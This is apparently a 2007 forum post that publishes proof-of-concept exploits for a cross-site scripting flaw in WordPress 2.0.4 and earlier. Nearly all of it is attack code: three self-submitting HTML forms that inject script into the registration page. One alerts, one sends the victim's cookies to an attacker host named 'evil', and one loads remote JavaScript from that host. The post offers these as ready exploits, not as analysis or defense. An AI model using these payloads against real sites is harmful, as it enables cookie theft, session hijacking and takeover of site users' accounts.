05.10.2007, 19:48
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379
Репутация:
3812
|
|
WordPress <=2.0.4 XSS
simple PoC:
Код HTML:
<html>
<head></head>
<body>
<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
cookie theft PoC:
Код HTML:
<html>
<head></head>
<body>
<form method="post"
action="http://target/wordpress/wp-register.php#location='http://evil/?'+document.cookie"
>
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="anyusername" />
<input type="hidden" name="user_email" id="user_email"
value='"><script>eval(location.hash.substr(1))</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
unrestricted script insertion from third-party site
(we prove we can
inject ANY JS):
Код HTML:
<html>
<head></head>
<body>
<form method="post" action="http://victim/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="test" />
<input type="hidden" name="user_email" id="user_email"
value='"><SCRIPT src=http://evil/jsfile></SCRIPT>'>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
__________________
|
|
|